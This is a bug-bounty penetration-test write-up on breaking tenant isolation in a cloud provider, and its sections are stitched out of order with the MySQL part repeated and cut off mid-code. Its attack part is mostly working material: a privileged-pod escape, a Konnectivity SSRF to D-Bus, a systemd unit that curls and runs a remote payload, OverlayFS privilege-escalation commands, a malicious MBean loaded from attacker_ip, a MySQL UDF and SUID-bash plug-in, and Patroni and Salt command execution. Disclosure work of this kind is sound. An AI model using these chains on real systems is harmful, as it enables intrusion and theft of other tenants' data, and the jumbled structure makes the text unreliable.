    Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
    ssl_cipher blob NOT NULL,
    x509_issuer blob NOT NULL,
    x509_subject blob NOT NULL,
    max_questions int unsigned NOT NULL DEFAULT 0,
    max_updates int unsigned NOT NULL DEFAULT 0,
    max_connections int unsigned NOT NULL DEFAULT 0,
    max_user_connections int unsigned NOT NULL DEFAULT 0,
    plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
    authentication_string text,
    password_expired enum('N','Y') NOT NULL DEFAULT 'N',
    password_last_changed timestamp NULL DEFAULT NULL,
    password_lifetime smallint unsigned DEFAULT NULL,
    account_locked enum('N','Y') NOT NULL DEFAULT 'N',
    Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Password_reuse_history smallint unsigned DEFAULT NULL,
    Password_reuse_time smallint unsigned DEFAULT NULL,
    Password_require_current enum('N','Y') DEFAULT NULL,
    User_attributes json DEFAULT NULL,
    PRIMARY KEY (Host, User)
  ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:

INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;

Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

typedef unsigned long long udf_args_type;

typedef struct {
 unsigned int arg_count;
 unsigned int *arg_type;
 char **args;
 unsigned long *lengths;
 char *maybe_null;
 char **attributes;
 unsigned long *attribute_lengths;
 void *extension;
} UDF_ARGS;

typedef struct {
 char maybe_null;
 unsigned int decimals;
 unsigned long max_length;
 char *ptr;
 char const_item;
 void *extension;
} UDF_INIT;

int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
 if (args->arg_count != 1) {
     strcpy(message, "sys_eval requires one argument");
     return 1;
 }
 initid->max_length = 65535;
 return 0;
}

void sys_eval_deinit(UDF_INIT *initid) {}

char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
            unsigned long *length, char *is_null, char *error) {
 if (!args->args[0]) { *is_null = 1; return NULL; }
 char cmd[65535];
 snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
 FILE *pipe = popen(cmd, "r");
 if (!pipe) { *is_null = 1; return NULL; }
 static char buf[65535];
 size_t total = 0;
 while (total < sizeof(buf)-1) {
     size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
     if (n == 0) break;
     total += n;
 }
 pclose(pipe);
 buf[total] = '\0';
 *length = total;
 return buf;
}

RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:

curl -s -X PATCH "https://somecloud/api/dbaas/id" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'

This vector made it possible to inject line breaks and override critical configuration parameters:

default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.

With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:

SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so

We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';

The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:

#include <stdlib.h>
__attribute__((constructor)) static void init(void) {
  system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
}

We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.

Conclusion

The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.

Introduction

Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.

This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).

1. Gaining initial access through a managed Kubernetes cluster

Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.

1.1. Escaping the worker node

First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.

kubectl run pod-name-bla \
   --image=alpine \
   --restart=Never \
   --overrides='
 {
   "apiVersion": "v1",
   "spec": {
     "hostPID": true,
     "containers": [
       {
         "name": "priv",
         "image": "alpine",
         "command": [ "sh", "-c", "sleep 3600" ],
         "stdin": true,
         "tty": true,
         "securityContext": {
           "privileged": true
         }
       }
     ]
   }
 }'

After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:

nsenter --target 1 --mount --uts --ipc --net --pid – bash

After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.

Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.

1.2. Analysis of control plane services

After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:

192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"

Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.

1.3. Exploiting Konnectivity

To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.

A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.

Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.

service AgentService {
  rpc Connect(stream Packet) returns (stream Packet) {}
}

The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:

//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26

enum PacketType {
  DIAL_REQ = 0;
  DIAL_RSP = 1;
  ...
}

message Packet {
  PacketType type = 1;

  oneof payload {
    DialRequest dialRequest = 2;
    DialResponse dialResponse = 3;
    Data data = 4;
    CloseRequest closeRequest = 5;
    CloseResponse closeResponse = 6;
    CloseDial closeDial = 7;
  }
}

message DialRequest {
    // tcp or udp?
    string protocol = 1;
    // node:port
    string address = 2;
    // random id for client, maybe should be longer
    int64 random = 3;
}

The server reads any Packet packets from the stream initiated by the agent (worker node):

//apiserver-network-proxy/pkg/server/server.go:721
in, err := stream.Recv()
...
recvCh <- in

Next, the packets go to the backend manager:

//apiserver-network-proxy/pkg/server/server.go:748

func (s *ProxyServer) serveRecvBackend(...) {
    for pkt := range recvCh {
        switch pkt.Type {

Then comes the most interesting part:

//apiserver-network-proxy/pkg/server/server.go:888

case client.PacketType_DIAL_REQ:
    req := pkt.GetDialRequest()
    klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
    s.handleDialRequest(pkt, backend)

In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).

//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
  ...
  dialReq := pkt.GetDialRequest()
  resp.GetDialResponse().Random = dialReq.Random

  start := time.Now()
  conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:

org.freedesktop.DBus
 org.freedesktop.PackageKit
 org.freedesktop.PolicyKit1
 org.freedesktop.login1
 org.freedesktop.systemd1
 com.ubuntu.SoftwareProperties

Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:

busctl --address=unix:path=/tmp/master-dbus.sock \
  call org.freedesktop.login1 \
       /org/freedesktop/login1 \
       org.freedesktop.login1.Manager \
       SetUserLinger ubb 997 true false

The following sockets were then opened:

/run/user/997/bus
 /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)

Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:

StartTransientUnit(
  name: string,
  mode: string,
  properties: a(sv),
  aux: a(sa(sv))
) -> job object path

The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:

ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"

As a result, we successfully received a callback from the control plane.

Mirantis, the company behind the k0s project, confirmed the vulnerability.

1.4. Privilege escalation on the host

Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).

In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.

To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.

rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe

unshare -rm sh -c '
 mkdir l u w m &&
 cp /usr/bin/python3 l/ &&
 chmod 755 l/python3 &&
 setcap cap_setuid+eip l/python3 &&
 mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
 touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'

Gaining root privileges opened up several interesting attack vectors:

1. We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
2. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.

2. Adventures in the overlay network

2.1. Victoria stack

An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.

When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:

"discoveredLabels": {
           "__address__": "http://100.64.1.1:6897/metrics",
           "__meta_url": "CENSORED",
           "__metrics_path__": "/metrics",
           "__scheme__": "http",
           "__scrape_interval__": "2m0s",
           "__scrape_timeout__": "2m0s",
           "cluster_id": "676767",
           "customer": "customerID",
           "job": "http",
           "profile": "kubernetes",
           "vds_id": "1337",
           "version": "1.0"
         }

It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.

We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.

Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.

We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.

Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.

2.2. Compromising managed Kafka instances

We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.

The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:

• JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
• JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
• ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.

The code that handles the connection and initialization of the MBean component looks like this:

//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class JmxCreateMBean {
    private static final class RewritingSocketFactory extends RMISocketFactory {
        private final String fromHost;
        private final String toHost;

        RewritingSocketFactory(String fromHost, String toHost) {
            ...
        }

        @Override
        public Socket createSocket(String host, int port) throws IOException {
            ...
        }

        @Override
        public ServerSocket createServerSocket(int port) throws IOException {
            ...
        }
    }

    public static void main(String[] args) throws Exception {
        ...
        RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
        String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);

        try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
            var mbsc = connector.getMBeanServerConnection();
            try {
                ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
                System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
            } catch (InstanceAlreadyExistsException e) {
                System.out.println("EXISTS " + args[5]);
            }
        }
    }
}

Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:

// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;

public class Exec implements ExecMBean {
    @Override
    public String run(String cmd) throws Exception {
        Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
        byte[] out = p.getInputStream().readAllBytes();
        int rc = p.waitFor();
        return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
    }

    @Override
    public String getB64(String path) throws Exception {
        return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
    }

    @Override
    public String putB64(String path, String b64) throws Exception {
        byte[] data = Base64.getDecoder().decode(b64);
        Files.write(Path.of(path), data);
        return "wrote " + data.length + " bytes";
    }
}

After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.

<html>
<mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet>
</html>

We then perform the following steps:

1. Create a standard MLet loader inside the Kafka JVM.
2. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
3. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.

This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.

2.3. Credential leakage through redis-exporter

The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:

//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
  target := r.URL.Query().Get("target")
...

  if !strings.Contains(target, "://") {
    target = "redis://" + target
  }

  u, err := url.Parse(target)
...

  opts := e.options
...
  _, err = NewRedisExporter(target, opts)
...

Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:

http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>

The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.

(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).

2.4. Compromise of managed PostgreSQL (Patroni) clusters

The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.

{
  "ttl": 30,
  "loop_wait": 10,
  "retry_timeout": 10,
  "maximum_lag_on_failover": 1048576,
  "postgresql": {
    "use_pg_rewind": true,
    "parameters": {
      "archive_command": "id",
      "archive_mode": "always",
      "max_connections": 550,
      "max_locks_per_transaction": 512,
      "max_worker_processes": 27
    }
  }
}

Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:

Update the Patroni configuration with the modified archive_command:

curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

Update the configuration again to add the standby_cluster parameter:

{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
 "use_pg_rewind": true,
 "parameters": {
   "archive_command": "rce",
   "archive_mode": "on",
   "archive_timeout": "10",
   "max_connections": 550,
   "max_locks_per_transaction": 512,
   "max_worker_processes": 27
 }
},
"standby_cluster": {
 "host": "192.0.2.1",
 "port": 5432
}
}

After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:

cannot be a real primary in standby cluster  
Demoting self (demote-cluster)  
received fast shutdown request  
checkpoint starting: shutdown immediate

Postgres then restarts, and the archiving process runs and executes the injected command:

This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.

This storage holds backups not only of the current instance but also of all other databases in the cloud.

3. Attack on SaltStack management infrastructure

After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.

3.1. Analysis of salt fs

The first step was to dump the entire Salt master file system for subsequent static analysis:

It contained numerous files.

salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
      mkdir -p "/tmp/dump/$(dirname "$f")"
      salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
    done

Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:

sql = query.format(
            minion_id=minion_id,
            pillar={**pillar, **results},
            grains=__grains__,
        )
        loaded_items = db_connections[db_alias].load_object_list(sql)

A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.

3.2. Exploiting the SQLi

This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.

Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.

With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:

curl -k https://salt-master:8000   -H "Accept: application/json"   -H "Content-Type: application/json"   -H "X-Auth-Token: REDACTED"   -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'

By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.

4. Other ways to attack the cloud

It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.

4.1. Exploiting a vulnerability in Managed Valkey

During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:

valkey_version=7.2.11
redis_version=7.2.4
redis_git_sha1=97b6663c
redis_git_dirty=0
redis_build_id=a75ca2f023d97d88
gcc_version=13.3.0
arch_bits=64
os=Linux 6.8.0-124-generic x86_64
executable=/usr/bin/valkey-server

The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.

CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:

NoExecPaths=/
ExecPaths=/usr/bin/valkey-server /usr/lib /lib
CapabilityBoundingSet=
NoNewPrivileges=true
PrivateUsers=true
ProtectSystem=strict
ProtectHome=true
SystemCallFilter=@system-service
SystemCallFilter=~ @privileged @resources

These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.

The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.

4.2. MySQL

The MySQL database user didn’t have root privileges when the resource was created.

DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

However, the application logic allowed this user to drop and recreate the table with dynamic privileges:

DROP TABLE IF EXISTS mysql.user;

  CREATE TABLE mysql.user (
    Host char(255) NOT NULL DEFAULT '%',
    User char(32) NOT NULL DEFAULT '',
    Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
    ssl_cipher blob NOT NULL,
    x509_issuer blob NOT NULL,
    x509_subject blob NOT NULL,
    max_questions int unsigned NOT NULL DEFAULT 0,
    max_updates int unsigned NOT NULL DEFAULT 0,
    max_connections int unsigned NOT NULL DEFAULT 0,
    max_user_connections int unsigned NOT NULL DEFAULT 0,
    plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
    authentication_string text,
    password_expired enum('N','Y') NOT NULL DEFAULT 'N',
    password_last_changed timestamp NULL DEFAULT NULL,
    password_lifetime smallint unsigned DEFAULT NULL,
    account_locked enum('N','Y') NOT NULL DEFAULT 'N',
    Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Password_reuse_history smallint unsigned DEFAULT NULL,
    Password_reuse_time smallint unsigned DEFAULT NULL,
    Password_require_current enum('N','Y') DEFAULT NULL,
    User_attributes json DEFAULT NULL,
    PRIMARY KEY (Host, User)
  ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:

INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;

Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

typedef unsigned long long udf_args_type;

typedef struct {
 unsigned int arg_count;
 unsigned int *arg_type;
 char **args;
 unsigned long *lengths;
 char *maybe_null;
 char **attributes;
 unsigned long *attribute_lengths;
 void *extension;
} UDF_ARGS;

typedef struct {
 char maybe_null;
 unsigned int decimals;
 unsigned long max_length;
 char *ptr;
